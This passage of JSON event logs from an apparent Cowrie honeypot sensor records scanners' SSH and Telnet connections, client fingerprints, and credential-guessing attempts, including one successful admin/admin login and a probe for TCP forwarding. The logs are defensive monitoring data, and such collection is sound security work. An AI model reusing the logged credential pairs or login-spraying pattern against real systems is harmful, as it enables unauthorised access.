.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:15.864324Z","src_ip":"45.117.179.232","session":"3a548dd008dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Za123456","message":"login attempt [root/Za123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:16.896998Z","src_ip":"45.117.179.232","session":"3a548dd008dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:18.151767Z","src_ip":"45.117.179.232","session":"3a548dd008dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44958,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e5c0f7afea9","protocol":"telnet","message":"New connection: 152.42.224.71:44958 (10.17.0.5:23) [session: 2e5c0f7afea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:44.802165Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":46056,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fa5b5ec0a47","protocol":"ssh","message":"New connection: 103.149.170.125:46056 (159.203.135.109:22) [session: 5fa5b5ec0a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:45.800221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:46.399254Z","src_ip":"103.149.170.125","session":"5fa5b5ec0a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:46.403469Z","src_ip":"103.149.170.125","session":"5fa5b5ec0a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3odi15ngxb","message":"login attempt [root/3odi15ngxb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:47.466864Z","src_ip":"103.149.170.125","session":"5fa5b5ec0a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:48.730514Z","src_ip":"103.149.170.125","session":"5fa5b5ec0a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.366355419158936,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:51.160838Z","src_ip":"152.42.224.71","session":"39d1802d9fb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44508,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ffdbbb3aa6","protocol":"ssh","message":"New connection: 193.32.162.145:44508 (10.17.0.5:22) [session: 79ffdbbb3aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:51.642743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:51.647570Z","src_ip":"193.32.162.145","session":"79ffdbbb3aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:51.754332Z","src_ip":"193.32.162.145","session":"79ffdbbb3aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"anza","message":"login attempt [ubuntu/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:52.094228Z","src_ip":"193.32.162.145","session":"79ffdbbb3aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:53.204216Z","src_ip":"193.32.162.145","session":"79ffdbbb3aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.930386781692505,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:54.481145Z","src_ip":"152.42.224.71","session":"f9bbf0cf0464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59590,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0bbed422a0","protocol":"telnet","message":"New connection: 152.42.224.71:59590 (10.17.0.5:23) [session: 1c0bbed422a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:02.005621Z"}
{"eventid":"cowrie.session.closed","duration":108.95693397521973,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:03.663090Z","src_ip":"152.42.224.71","session":"3c1a4804c61c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59604,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f2332855c9","protocol":"telnet","message":"New connection: 152.42.224.71:59604 (10.17.0.5:23) [session: 74f2332855c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:03.895715Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19048,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a0547624c86","protocol":"ssh","message":"New connection: 87.251.64.176:19048 (10.17.0.5:22) [session: 5a0547624c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:14.553578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:14.559023Z","src_ip":"87.251.64.176","session":"5a0547624c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:14.656269Z","src_ip":"87.251.64.176","session":"5a0547624c86","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:14.947613Z","src_ip":"87.251.64.176","session":"5a0547624c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.68665909767151,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:14.997099Z","src_ip":"152.42.224.71","session":"bdbc9b711781","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:15.047116Z","session":"5a0547624c86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:15.145306Z","src_ip":"87.251.64.176","session":"5a0547624c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:15.378474Z","src_ip":"87.251.64.176","session":"5a0547624c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.53839826583862,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:27.340259Z","src_ip":"152.42.224.71","session":"2e5c0f7afea9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43458867073059,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:39.330088Z","src_ip":"152.42.224.71","session":"74f2332855c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.119.194","src_port":10486,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ddc6c2d85b2","protocol":"ssh","message":"New connection: 23.239.119.194:10486 (10.17.0.5:22) [session: 3ddc6c2d85b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.241787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.246371Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.307461Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:f4:aa:23:fb:e0:4c:4f:84:e1:db:54:b2:7e:2b:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChnBo4chMAZaJ0VM4DDaEuJVaMuX9a0m72MRPSUBXkeYDP/FPvmBZvHf+iezldnMNd65IVf5LMe41F4i5VkFHIzbQzTWywew7L6EDa7Xo+jq0xamgbsNJPTs3CjGC4Ud3tuSS5OaV0ie4NpDuZNdypT1Vzz7BPNpL5/EMlRuUc4WZojMw31lIz11GTTmvYq6yWTQCy6DD6b40C+3NwSX5GJPOq+LoNt5X1FzTWVj9HrBuKHJJFpGLQukUepsuoV2XmqK+pKAJeF5drD6unP0604dd9fFEIOmWwvPhR4JQrOxadELZqW9PPIyt6QMOAHQOQKkeaqdBf9uo1Hf/yUo23","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:f4:aa:23:fb:e0:4c:4f:84:e1:db:54:b2:7e:2b:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.585807Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:f4:aa:23:fb:e0:4c:4f:84:e1:db:54:b2:7e:2b:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChnBo4chMAZaJ0VM4DDaEuJVaMuX9a0m72MRPSUBXkeYDP/FPvmBZvHf+iezldnMNd65IVf5LMe41F4i5VkFHIzbQzTWywew7L6EDa7Xo+jq0xamgbsNJPTs3CjGC4Ud3tuSS5OaV0ie4NpDuZNdypT1Vzz7BPNpL5/EMlRuUc4WZojMw31lIz11GTTmvYq6yWTQCy6DD6b40C+3NwSX5GJPOq+LoNt5X1FzTWVj9HrBuKHJJFpGLQukUepsuoV2XmqK+pKAJeF5drD6unP0604dd9fFEIOmWwvPhR4JQrOxadELZqW9PPIyt6QMOAHQOQKkeaqdBf9uo1Hf/yUo23","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.589606Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:88:05:a1:34:a6:09:31:7b:34:9e:12:f6:d7:0d:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsAoQrpTC+waC2IH4Jdsxu9F7Znd1Ue9QDwrKGVLY67GduyQV0fEs7NN36+Z7zW+uLs1AN1HKKGIAAQOVhSMIL4hkqcoOxpLpUt4q7osKyYhttLhz7fpvZjUVXaWbAD8bwfoB3vEHigXtr4FkRbDx9zFSJes2PE7gI5VTG9ZgEadthXk8ySl8DFmfWxtFcwexkC4tTyod5flPiSvJ+lWKP3HFZ3+HHXiieQeLjl81UFRrj55MMDVROgB+Du2OW/oUR2D9ty/WfwO4O2EK/2yWbWltCOCHo+RjbZN3jXaKPNkDv8FE5DvnF2gnIzCb4qA/Y1sskptFMMMFEU2LghdW3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:88:05:a1:34:a6:09:31:7b:34:9e:12:f6:d7:0d:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.650031Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:88:05:a1:34:a6:09:31:7b:34:9e:12:f6:d7:0d:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsAoQrpTC+waC2IH4Jdsxu9F7Znd1Ue9QDwrKGVLY67GduyQV0fEs7NN36+Z7zW+uLs1AN1HKKGIAAQOVhSMIL4hkqcoOxpLpUt4q7osKyYhttLhz7fpvZjUVXaWbAD8bwfoB3vEHigXtr4FkRbDx9zFSJes2PE7gI5VTG9ZgEadthXk8ySl8DFmfWxtFcwexkC4tTyod5flPiSvJ+lWKP3HFZ3+HHXiieQeLjl81UFRrj55MMDVROgB+Du2OW/oUR2D9ty/WfwO4O2EK/2yWbWltCOCHo+RjbZN3jXaKPNkDv8FE5DvnF2gnIzCb4qA/Y1sskptFMMMFEU2LghdW3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.654162Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:06:ba:3f:ba:a3:6a:2b:f5:0e:49:b8:75:92:9e:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA20cmcbAz6V7ANrS8HVlJlkmFy7o/uudrIYTJRkaOBcDV3FA4tbWYZnfdjOj+dmqD/th6m327DaeyFZvgDJnSOstro7OCPNSmMZMmpjYbiU8jJW/fjZXCNYQ1povaeswxJ+aEfgGS2vhhNwkqMVWsLIFj7rWYJncdghI/BD4Zzj5ZLuGAwShrO9i17J+WhZOJIzJA2mWI2PIbXbct2owlGqer6A5uCrbXFTr3yD2srFB/7LFRFKpLjoHmgsm3SMbdVRv/W49OtGVYrAol0PRMr3YxDixUiWcXGnw8fw+xM4CWlAlihhmlQg7MOfXsi9uuSKJ46pk9mnPm67ID97B0zQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:06:ba:3f:ba:a3:6a:2b:f5:0e:49:b8:75:92:9e:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.714992Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:06:ba:3f:ba:a3:6a:2b:f5:0e:49:b8:75:92:9e:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA20cmcbAz6V7ANrS8HVlJlkmFy7o/uudrIYTJRkaOBcDV3FA4tbWYZnfdjOj+dmqD/th6m327DaeyFZvgDJnSOstro7OCPNSmMZMmpjYbiU8jJW/fjZXCNYQ1povaeswxJ+aEfgGS2vhhNwkqMVWsLIFj7rWYJncdghI/BD4Zzj5ZLuGAwShrO9i17J+WhZOJIzJA2mWI2PIbXbct2owlGqer6A5uCrbXFTr3yD2srFB/7LFRFKpLjoHmgsm3SMbdVRv/W49OtGVYrAol0PRMr3YxDixUiWcXGnw8fw+xM4CWlAlihhmlQg7MOfXsi9uuSKJ46pk9mnPm67ID97B0zQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.722897Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:19:6a:fb:e2:40:e4:73:54:8f:6e:e6:c3:7f:22:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClPA44lywZ7mGPn+rYWYsx98axfplJYb0tYKwW1SrMFdoz3dBLx/2idW8HSSXiH36OfoS7Mx3PMQUyK64CMAxRf739S1JKw2ZFj56LV5e2Mr+4rGXX78d4T4xOQxfEVEFu6diyb/F4RY0gh4MbgqHf7kQAmH+kOf1riPTIVANQ7a4mKv+sMyHk7ozBKV6EeGShsDKyOemsXY8VdPgclf2ZnXvIEjkkhN4urvbvd0YBcdewIKtVNbUj1bAtA3zCHeN3AGTJazP8JmK1LQssdwyQwEoGMbeIaoz7MXHUct4eLUFgnpVpMhKM+o2CvOphVS7FyGBEMoWA8CNI7b+63zlF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:19:6a:fb:e2:40:e4:73:54:8f:6e:e6:c3:7f:22:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.784363Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:19:6a:fb:e2:40:e4:73:54:8f:6e:e6:c3:7f:22:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClPA44lywZ7mGPn+rYWYsx98axfplJYb0tYKwW1SrMFdoz3dBLx/2idW8HSSXiH36OfoS7Mx3PMQUyK64CMAxRf739S1JKw2ZFj56LV5e2Mr+4rGXX78d4T4xOQxfEVEFu6diyb/F4RY0gh4MbgqHf7kQAmH+kOf1riPTIVANQ7a4mKv+sMyHk7ozBKV6EeGShsDKyOemsXY8VdPgclf2ZnXvIEjkkhN4urvbvd0YBcdewIKtVNbUj1bAtA3zCHeN3AGTJazP8JmK1LQssdwyQwEoGMbeIaoz7MXHUct4eLUFgnpVpMhKM+o2CvOphVS7FyGBEMoWA8CNI7b+63zlF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.788669Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
